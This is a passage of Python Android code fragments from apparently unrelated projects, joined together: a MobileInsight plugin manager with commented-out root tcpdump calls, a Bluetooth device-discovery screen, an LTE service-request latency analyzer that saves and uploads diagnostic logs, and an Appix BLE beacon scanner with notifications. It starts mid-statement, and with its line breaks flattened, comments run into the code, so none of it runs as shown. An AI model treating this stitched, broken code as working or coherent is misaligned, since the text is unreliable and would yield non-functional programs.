tcpdumpcmd = "su -c tcpdump -i rmnet_data0 -w " \ # + main_utils.get_mobileinsight_log_path() \ # + "/tcpdump_" + str(currentTime) + ".pcap\n" # main_utils.run_shell_cmd(tcpdumpcmd) else: self.error_log = "Error: " + app_name + "cannot be launched!" def on_broadcastStopServiceAck(self, context, intent): self.log_info("Received MobileInsight.Plugin.StopServiceAck from plugin") self.pluginAck = True def stop_service(self): # Registe listener for 'MobileInsight.Plugin.StopServiceAck' intent # from plugin self.log_info("Ready to stop current plugin ...") self.pluginAck = False # Using broadcast to send 'MobileInsight.Main.StopService' intent to # plugin IntentClass = autoclass("android.content.Intent") intent = IntentClass() action = 'MobileInsight.Main.StopService' intent.setAction(action) try: current_activity.sendBroadcast(intent) except Exception as e: import traceback self.log_error(str(traceback.format_exc())) if self.service: start_time = datetime.datetime.utcnow() current_time = datetime.datetime.utcnow() while (not self.pluginAck and (current_time - start_time).total_seconds() < 5): current_time = datetime.datetime.utcnow() pass self.service.stop() self.service = None if self.terminal_stop: self.terminal_stop.set() # self.error_log = LOGO_STRING self.log_info( "Plugin stopped. Detailed analytic results are saved in " + self.log_name) self.stop_collection() # close ongoing collections (diag_revealer) # killall tcpdump # tcpdumpcmd = "su -c killall tcpdump\n" # main_utils.run_shell_cmd(tcpdumpcmd) def on_click_plugin(self, app_name): if self.service: self.stop_service() self.ids.run_plugin.text = "Run Plugin: "+app_name else: self.start_service(app_name) self.ids.run_plugin.text = "Stop Plugin: "+app_name def _save_log(self): orig_basename = os.path.basename(self.__original_filename) orig_dirname = os.path.dirname(self.__original_filename) self.__log_timestamp = datetime.datetime.now().strftime('%Y%m%d_%H%M%S') milog_basename = "diag_log_%s_%s_%s.mi2log" % ( self.__log_timestamp, self.__phone_info, main_utils.get_operator_info()) milog_absname = os.path.join(self.__logdir, milog_basename) main_utils.run_shell_cmd("cp %s %s" % (self.__original_filename, milog_absname)) # shutil.copyfile(self.__original_filename, milog_absname) # chmodcmd = "rm -f " + self.__original_filename # p = subprocess.Popen("su ", executable = main_utils.ANDROID_SHELL, shell = True, \ # stdin = subprocess.PIPE, stdout = subprocess.PIPE) # p.communicate(chmodcmd + '\n') # p.wait() os.remove(self.__original_filename) def about(self): about_text = ('MobileInsight ' + main_utils.get_cur_version() + ' \n' + 'MobileInsight Team\n\n' + 'Developers:\n' + ' Yuanjie Li,\n' + ' Zengwen Yuan,\n' + ' Jiayao Li,\n' + ' Haotian Deng,\n' + ' Qianru Li,\n' + ' Zhehui Zhang\n\n' + 'Copyright (c) 2014 – 2017') popup = Popup(title='About MobileInsight', size_hint=(1,1), background = "gradient.png" ) popup_button = Button(text = about_text, background_color = [0,0,0,0], on_press = popup.dismiss) popup.content = popup_button popup.open()
class LoginScreen(FloatLayout): def __init__(self): super(LoginScreen, self).__init__() ## BluetoothAdapter = autoclass('android.bluetooth.BluetoothAdapter') ## myBluetoothAdapter = BluetoothAdapter.startDiscovery() ## BluetoothName = myBluetoothAdapter.getBondedDevices().toArray() ## firstDevice = BluetoothName[0].getName() ## BroadcastReceiver = autoclass('android.content.BroadcastReveiver') ## Intent = autoclass('android.content.Intent') ## Activity = autoclass('android.content.Activity') self.BluetoothAdapter = autoclass('android.bluetooth.BluetoothAdapter') self.BluetoothDevice = autoclass('android.bluetooth.BluetoothDevice') self.BluetoothSocket = autoclass('android.bluetooth.BluetoothSocket') self.UUID = autoclass('java.util.UUID') self.Bundle = autoclass('android.os.Bundle') self.Intent = autoclass('android.content.Intent') self.IntentFilter = autoclass('android.content.IntentFilter') self.Context = autoclass('android.content.Context') self.Toast = autoclass('android.widget.Toast') self.PythonActivity = autoclass('org.renpy.android.PythonActivity') self.printLabel = self.ids['label1'] self.printLabel.text = "hello" ## self.action = self.Intent.getAction() ## ## if (BluetoothDevice.ACTION_FOUND.equals(self.action) ## self.device = self.intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE); ## name = self.device.getName(); ## Toast.makeText(getApplicationContext()," Name:" + name, Toast.LENGTH_SHORT).show() ## ## ## ## intent = BluetoothAdapter.ACTION_REQUEST_ENABLE ## ## Activity.startActivityForResult(intent, 0); ## ## self.br.start() ## ## print BluetoothName ## self.ids['hello'].text = firstDevice ## ## self.br = self.BroadcastReceiver(self.onReceive(), self.Intent) ## self.aDiscoverable = BluetoothAdapter.ACTION_REQUEST_DISCOVERABLE ## Activity.startActivityForResult(Intent(aDiscoverable), BluetoothAdapter.DISCOVERY_REQUEST) ## ## self.Filter = Context.IntentFilter(BluetoothDevice.ACTION_FOUND) ## Context.RegisterReceiver(self.br, self.Filter) ## ## ## if (self.BluetoothDevice.ACTION_FOUND == self.action): ## self.myBluetoothDevice = intent.getParcelableExtra(self.BluetoothDevice.EXTRA_DEVICE) ## name = myBluetoothDevice.getName() ## Toast.makeText(getApplicationContext()," Name:" + name, Toast.LENGTH_SHORT).show() self.myBTA = self.BluetoothAdapter.getDefaultAdapter() if self.myBTA is None: popup = Popup(title='Sorry :(', content=Label(text='Didnt connect'), size_hint=(None, None), size=(400, 100)) popup.open() if(self.myBTA.isEnabled() == False): intent = self.Intent() intent.setAction(self.BluetoothAdapter.ACTION_REQUEST_ENABLE) myActivity = cast('android.app.Activity', self.PythonActivity.mActivity) myActivity.startActivity(intent) def turnOnDiscovery (self): if(self.myBTA.isEnabled() == True): if(self.myBTA.isDiscovering() == False): intent = self.Intent() intent.setAction(self.BluetoothAdapter.ACTION_REQUEST_DISCOVERABLE) myActivity = cast('android.app.Activity', self.PythonActivity.mActivity) myActivity.startActivity(intent) else: popup = Popup(title='Bluetooth Info', content=Label(text='Bluetooth is Already Enabled'), size_hint=(None, None), size=(400, 100)) popup.open() def findDevices (self): self.br = BroadcastReceiver(content = self.onReceive, actions=['main'], myFilter = self.BluetoothDevice.ACTION_FOUND) self.br.start() self.myBTA.startDiscovery() def onReceive(self, context, intent): action = intent.getAction(); if (self.BluetoothDevice.ACTION_FOUND == action): extras = intent.getParcelableExtra(self.BluetoothDevice.EXTRA_DEVICE) device = cast('android.bluetooth.BluetoothDevice', extras) deviceName = device.getName() print deviceName self.printLabel.text = deviceName
class ServiceRequestAnalyzer(Analyzer): """ An analyzer for cellular events logging and decoding """ def __init__(self, config): Analyzer.__init__(self) self.__log_dir = util.get_mobileinsight_log_path() self.__dec_log_dir = util.get_mobileinsight_log_decoded_path() self.__orig_file = "" self.__raw_msg = {} self.__raw_msg_key = "" self.__msg_cnt = 0 self.__dec_msg = [] self.__is_wifi_enabled = False self.state = states[0] self.sr_round = 0 self.round = 0 self.sr_record = [] self.record = { 'round': 0, 'total': 0, 'msg': [], } self.__sr_log_path = "%s/sr/sr_latency_%s_%s_%s.txt" % \ (util.get_mobileinsight_path(), datetime.now().strftime('%Y%m%d_%H%M%S'), util.get_phone_info(), util.get_operator_info()) self.__MILabPluginName = 'SRLatency' self.__own_log_uploaded_dir = os.path.join( util.get_mobileinsight_plugin_path(), self.__MILabPluginName, "log", "uploaded") if not os.path.exists(self.__own_log_uploaded_dir): os.makedirs(self.__own_log_uploaded_dir) self.__task = "Unknown" if 'task' in config: self.__task = config['task'] self.__own_log_task_dir = os.path.join( util.get_mobileinsight_plugin_path(), self.__MILabPluginName, "log", self.__task) if not os.path.exists(self.__own_log_task_dir): os.makedirs(self.__own_log_task_dir) try: if config['is_use_wifi'] == '1': self.__is_use_wifi = True else: self.__is_use_wifi = False except BaseException: self.__is_use_wifi = False # try: # if config['is_dec_log'] == '1': # self.__is_dec_log = True # self.__dec_log_name = "diag_log_" + \ # datetime.datetime.now().strftime('%Y%m%d_%H%M%S') + ".txt" # self.__dec_log_path = os.path.join( # self.__dec_log_dir, self.__dec_log_name) # else: # self.__is_dec_log = False # except BaseException: # self.__is_dec_log = False try: self.__dec_log_type = config['log_type'] except BaseException: self.__dec_log_type = "" if not os.path.exists(self.__log_dir): os.makedirs(self.__log_dir) if not os.path.exists(self.__dec_log_dir): os.makedirs(self.__dec_log_dir) self.add_source_callback(self._logger_filter) # Add this code at the end of onCreate() self.br = BroadcastReceiver(self.on_broadcast, actions=['MobileInsight.Main.StopService']) self.br.start() def on_broadcast(self, context, intent): ''' This plugin is going to be stopped, finish closure work ''' print "LoggingAnalyzer are going to be stopped" # self._check_orphan_log() IntentClass = autoclass("android.content.Intent") intent = IntentClass() action = 'MobileInsight.Plugin.StopServiceAck' intent.setAction(action) try: util.pyService.sendBroadcast(intent) except Exception as e: import traceback self.log_error(str(traceback.format_exc())) def __del__(self): self.log_info("__del__ is called") def trigger(self, msg_trigger): for tr in transitions: if msg_trigger == tr['trigger'] and self.state == tr['source']: # self.log_warning("[local time = %s] Source state = %s" % (datetime.now(), tr['source'])) ts = time.time() self.log_warning( "[epoch = %s][local = %s] Source state = %s" % (ts, datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S'), tr['source'])) self.state = tr['dest'] if tr == transitions[-1]: self.sr_round += 1 return True return False def _logger_filter(self, msg): """ Callback to process new generated logs. :param msg: the message from trace collector. :type msg: Event """ if msg.type_id == "LTE_NAS_EMM_OTA_Outgoing_Packet": log_item = msg.data.decode() if msgs[0] in log_item['Msg'].lower(): # self.log_warning("Service request") if self.trigger(msgs[0]): self.round += 1 self.start_ts = log_item['timestamp'] self.log_warning("Now state == %s" % self.state) self.record['round'] = self.sr_round self.record['msg'].append( "[%s; %s]" % (log_item['timestamp'], self.state)) if msg.type_id == "LTE_RRC_OTA_Packet": log_item = msg.data.decode() for i in range(1, 8): if msgs[i] in log_item['Msg'].lower(): if self.trigger(msgs[i]): # convert the rrc message timestamp to epoch epoch = time.mktime( time.strptime( log_item['timestamp'].strftime( "%Y-%m-%d %H:%M:%S"), "%Y-%m-%d %H:%M:%S")) # ts.strftime('%Y%m%d_%H%M%S') # time.strptime("2008-09-17 14:04:00", "%Y-%m-%d %H:%M:%S") # self.log_warning("%s" % epoch) # epoch = (datetime.datetime.utcfromtimestamp(ts) - datetime.datetime(1970,1,1)).total_seconds() self.log_warning( "[epoch = %s][log_utc = %s] Incoming RRC msg[%d] = %s" % (epoch, str(log_item['timestamp']), i, msgs[i])) # self.log_warning("Now state == %s" % self.state) # self.record['round'] = self.sr_round self.record['msg'].append( "[%s; %s]" % (log_item['timestamp'], self.state)) if msgs[i] == msgs[-1]: new_ts = (log_item['timestamp'] - self.start_ts).microseconds / 1000 self.log_warning( "Total SR time for round %d = %s ms" % (self.sr_round, new_ts)) self.record['msg'].append( "[%s; %s; %s]" % (epoch, log_item['timestamp'], self.state)) self.record['total'] = "%d" % new_ts try: with open(self.__sr_log_path, 'a') as f: f.writelines(str(self.record)) f.writelines('\n') except BaseException: pass self.sr_record.append(self.record) # self.log_warning("%s" % (self.record)) # self.log_warning("%s" % (self.sr_record)) self.record = {'round': "", 'msg': [], 'total': ""} # when a new log comes, save it to external storage and upload if msg.type_id.find("new_diag_log") != -1: self.__log_timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') self.__orig_file = msg.data.decode().get("filename") # FIXME (Zengwen): the change access command is a walkaround # solution util.run_shell_cmd("chmod 644 %s" % self.__orig_file) self._save_log() self.__is_wifi_enabled = util.get_wifi_status() if self.__is_use_wifi is True and self.__is_wifi_enabled is True: try: for f in os.listdir(self.__log_dir): if f.endswith(".mi2log"): orphan_file = os.path.join(self.__log_dir, f) t = threading.Thread(target=upload_log, args=(orphan_file, )) t.start() except Exception as e: pass else: # use cellular data to upload. Skip for now. pass def _save_log(self): orig_base_name = os.path.basename(self.__orig_file) orig_dir_name = os.path.dirname(self.__orig_file) milog_base_name = "diag_log_%s_%s_%s.mi2log" % ( self.__log_timestamp, util.get_phone_info(), util.get_operator_info()) # milog_abs_name = os.path.join(self.__log_dir, milog_base_name) milog_abs_name = os.path.join(self.__own_log_task_dir, milog_base_name) if os.path.isfile(self.__orig_file): shutil.copyfile(self.__orig_file, milog_abs_name) os.remove(self.__orig_file) return milog_abs_name
class AndroidBLEScanReader(object): def __init__(self): super(AndroidBLEScanReader, self).__init__() self.decoder = decoder.BluetoothDecoder() self._message = '' self._last_notification_time = datetime.now() self.previous_scan_results = "" self.previous_unique_message_id = 0 self.allow_notification = True # One-time BT initialization self.btManager = service.getSystemService(Context.BLUETOOTH_SERVICE) self.btAdapter = self.btManager.getAdapter() self.setup_bluetooth() def setup_bluetooth(self): if SDK_INT < 21: self.mybtLeScan = LeScanCallback(self.process_ble_packets) else: self.myLEScanner = self.btAdapter.getBluetoothLeScanner() self.scanCallbackImpl = ScanCallbackImpl() self.scanCallbackImpl.setCallback( AppixScanCallback(self.process_ble_packets)) # # Scan Settings # # Trying different combinations of scan settings and filters to determine which works best in live # environment. # # Default setting settingsBuilder0 = ScanSettingsBuilder() # Kitchen Sink settingsBuilder1 = ScanSettingsBuilder() settingsBuilder1.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY) settingsBuilder1.setCallbackType( ScanSettings.CALLBACK_TYPE_ALL_MATCHES) if SDK_INT > 22: settingsBuilder1.setMatchMode( ScanSettings.MATCH_MODE_AGGRESSIVE) settingsBuilder1.setNumOfMatches( ScanSettings.MATCH_NUM_MAX_ADVERTISEMENT) settingsBuilder1.setReportDelay(0) # Match Mode Aggressive Only settingsBuilder2 = ScanSettingsBuilder() if SDK_INT > 22: settingsBuilder2.setMatchMode( ScanSettings.MATCH_MODE_AGGRESSIVE) # Scan Mode Low Latency Only settingsBuilder3 = ScanSettingsBuilder() settingsBuilder3.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY) # Callback Type All Matches settingsBuilder4 = ScanSettingsBuilder() settingsBuilder4.setCallbackType( ScanSettings.CALLBACK_TYPE_ALL_MATCHES) # Scan Mode Low Latency + Callback All matches settingsBuilder5 = ScanSettingsBuilder() settingsBuilder5.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY) settingsBuilder5.setCallbackType( ScanSettings.CALLBACK_TYPE_ALL_MATCHES) # Low Latency + Match Mode Aggressive settingsBuilder6 = ScanSettingsBuilder() settingsBuilder6.setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY) settingsBuilder6.setCallbackType( ScanSettings.CALLBACK_TYPE_ALL_MATCHES) if SDK_INT > 22: settingsBuilder6.setMatchMode( ScanSettings.MATCH_MODE_AGGRESSIVE) # Command/uncomment for now to apply different settings here: # scanSettings = settingsBuilder0.build() # scanSettings = settingsBuilder1.build() # scanSettings = settingsBuilder2.build() scanSettings = settingsBuilder3.build() # scanSettings = settingsBuilder4.build() # scanSettings = settingsBuilder5.build() # scanSettings = settingsBuilder6.build() self.scanSettings = scanSettings # # Scan Filter # filters = ScanFilterList() serviceUuidFilter = ScanFilterBuilder().setServiceData( UID_SERVICE, NAMESPACE_FILTER, NAMESPACE_FILTER_MASK).build() filters.addFilter(serviceUuidFilter) self.filters = filters # Note: Not currently making use of filtering # filterBuilder.setDeviceAddress("01:02:03:04:05:06") # filterBuilder.setDeviceName("") # filterBuilder.setManufacturerData(11, bytearray([0x01, 0x02,])) # filterBuilder.setManufacturerData(11, bytearray([0x01, 0x02,], bytearray([0x01, 0x02,]))) # filterBuilder.setServiceData(ParcelUuid serviceDataUuid, byte[] serviceData) # filterBuilder.setServiceUuid(ParcelUuid serviceUuid, ParcelUuid uuidMask) # filterBuilder.setServiceUuid(ParcelUuid serviceUuid) debug(" ") debug(" ") debug("STARTING SCAN") # New method # Default scan settings # self.myLEScanner.startScan(self.scanCallbackImpl) def initiate_bluetooth(self, *args): print "SDK_INT is", SDK_INT try: if SDK_INT < 21: # Old method self.btAdapter.startLeScan(self.mybtLeScan) debug("startLeScan") else: # New method self.myLEScanner.startScan(self.filters.getFilters(), self.scanSettings, self.scanCallbackImpl) debug("\n\n> SCAN STARTED") except Exception as err: debug(err) pass finally: pass def scan_standby(self, pause_time): # stop scan here, set bluetooth_standby_time here # this bluetooth_standby_time would be decreased in the # _listen method while loop, on timeout bluetooth would be enabled back again. self.appixservice.comm_service.bluetooth_standby_time = pause_time if SDK_INT < 21: self.btAdapter.stopLeScan(self.mybtLeScan) debug("StopLeScan") else: self.myLEScanner.stopScan(self.scanCallbackImpl) debug("StopScan") debug("PAUSING SCAN FOR %s" % pause_time) def refresh_bluetooth(self): # debug("REFRESHING BLUETOOTH") if SDK_INT < 21: # time1 = time.time() self.btAdapter.stopLeScan(self.mybtLeScan) # time2 = time.time() # self.btAdapter.startLeScan(self.mybtLeScan) # time3 = time.time() # debug("TIME TO STOP: ", (time2-time1)*1000.) # debug("TIME TO START: ", (time3-time2)*1000.) # debug("StopLeScan") else: self.myLEScanner.stopScan(self.scanCallbackImpl) debug("StopScan") time.sleep(.2) self.initiate_bluetooth() debug("REFRESHED BLUETOOTH") def restart_bluetooth(self): debug("RESTARTING BLUETOOTH") if SDK_INT < 21: debug("STOPPING LE SCAN") self.btAdapter.stopLeScan(self.mybtLeScan) debug("STOPPED LE SCAN") else: debug("STOPPING SCAN") self.myLEScanner.stopScan(self.scanCallbackImpl) debug("STOPPED SCAN") time.sleep(.2) self.initiate_bluetooth() debug("INITIATED BLUETOOTH") # def restart_service(self): # debug("RESTARTING SERVICE") # self.stop() # time.sleep(.1) # self.start_service() # def start_service(self): # debug("ABOUT TO START") # global service # service = AndroidService('Appix service', 'running') # debug("ANDROID SERVICE INSTANTIATED") # service.start('service started') # debug("SERVICE STARTED") # time.sleep(.1) # self.initiate_bluetooth() def stop(self): self.close_all_notifications() if SDK_INT < 21: self.btAdapter.stopLeScan(self.mybtLeScan) debug("StopLeScan") else: self.myLEScanner.stopScan(self.scanCallbackImpl) debug("StopScan") def process_ble_packets(self, device, rssi, scan_record, *args): # time1 = time.time() # debug("Raw Scan Bytes -->",) # debug(''.join('{:02x} '.format(x) for x in scan_record[:32])) ''' Raw Scan Bytes: 02 01 06 03 03 aa fe 17 16 aa fe 00 14 ba 11 50 ff ff ff ff ff ff ff ff ff ff 11 22 33 00 00 ... ''' if scan_appix_beacon_key == list( [scan_record[13], scan_record[14], scan_record[15]]): # Decode Eddystone UID data (without reserved bytes) uuid = ''.join('{:02x}'.format(x) for x in scan_record[13:29]) # Grab the data portion (UUID + remainder) beacon_data = ''.join('{:02x} '.format(x) for x in scan_record[13:]) debug(" ") debug(">> Signal Validated!!! <<") # debug("Full Hex Beacon Signal -->", ''.join('{:02x} '.format(x) for x in scan_record)) debug("Beacon Data -->", beacon_data) debug("RSSI -->", rssi) debug("UUID -->", uuid) debug(" ") if ADMIN_APP: data = {"data": beacon_data, "rssi": rssi} self.appixservice.comm_service.send_message(str(data)) if uuid != self.previous_scan_results: self.dispatch_bluetooth_commands(uuid) self.appixservice.comm_service.time_since_app_paused = 0 self.previous_scan_results = uuid # TODO: LAST FUNCTION CALL IN SERVICE, def dispatch_bluetooth_commands(self, data_results): decoded_data = self.decoder.decode_beacon_data(data_results) if decoded_data['message_type'] == 0: if decoded_data['location_mode'] == 14: self.scan_standby(75) elif decoded_data['location_mode'] == 15: self.scan_standby(150) if self.appixservice._app_state == 'paused': if decoded_data['message_type'] in [2, 3, 4, 5, 7, 10, 11]: self.notify("We're Back", "Join the Show?") elif decoded_data['message_type'] == 8: if decoded_data['vibrate_code'] == 1: self.notify("We're Back", "Join the Show?") # do not allow a stop or phrase through if (self.appixservice._app_state == 'paused' and decoded_data['message_type'] not in [3, 6]) \ or self.appixservice._app_state == 'running': self.appixservice.comm_service.send_message(str(decoded_data)) # refresh bluetooth if message is play, stop, sports... if decoded_data['message_type'] not in [0, 1, 7, 12, 13, 14, 15]: self.refresh_bluetooth() def format_beacon_data(self, data_string): d = data_string.replace(" ", "") return ' '.join(d[i:i + 4] for i in range(0, len(d), 4)).upper() def close_all_notifications(self): _ns.cancel(0) def check_notification_timeout(self): dift = datetime.now() - self._last_notification_time if dift.total_seconds( ) > NOTIFICATION_TIMEOUT and self.allow_notification: self.allow_notification = False return True return False def notify(self, title, message): global service if not self.check_notification_timeout(): return self._last_notification_time = datetime.now() icon = getattr(Drawable, 'icon') noti = NotificationBuilder(service) noti.setPriority( Notification.PRIORITY_MAX ) # //HIGH, MAX, FULL_SCREEN and setDefaults(Notification.DEFAULT_ALL) will make it a Heads noti.Up Display Style noti.setDefaults( Notification.DEFAULT_ALL ) # //HIGH, MAX, FULL_SCREEN and setDefaults(Notification.DEFAULT_ALL) will make it a Heads Up Display Style noti.setContentTitle(AndroidString((title).encode('utf-8'))) noti.setContentText(AndroidString((message).encode('utf-8'))) noti.setTicker(AndroidString(('Appix').encode('utf-8'))) noti.setSmallIcon(icon) noti.setAutoCancel(True) id = 996543 appintent = Intent(Intent.ACTION_PROVIDER_CHANGED) pi_app = PendingIntent.getBroadcast(service, id, appintent, PendingIntent.FLAG_UPDATE_CURRENT) appintent.setData(Uri.parse('close')) # closeintent = Intent(Intent.ACTION_RUN) # pi_close = PendingIntent.getBroadcast(service, id, closeintent, PendingIntent.FLAG_UPDATE_CURRENT) # closeintent.setData(Uri.parse('open')) if not hasattr(self, 'br'): self.br = BroadcastReceiver(self.on_broadcast, actions=['provider_changed', 'run']) self.br.start() noti.addAction(0, AndroidString("Launch App"), pi_app) # noti.addAction(0, AndroidString("Close Service"), pi_close) if SDK_INT >= 16: noti = noti.build() else: noti = noti.getNotification() _ns.notify(0, noti) def on_broadcast(self, context, intent): global service # called when a device is found # close notification _ns.cancel(0) # close notification drawer it = Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS) context.sendBroadcast(it) PythonActivity = autoclass('org.renpy.android.PythonActivity') action = str(intent.getAction()) # Start Application intent = Intent(service.getApplicationContext(), PythonActivity) intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) service.getApplicationContext().startActivity(intent) if action.endswith('RUN'): debug('clean_up_service') # import time # time.sleep(1) self.appixservice.comm_service.send_message('stop') self.appixservice.clean_up()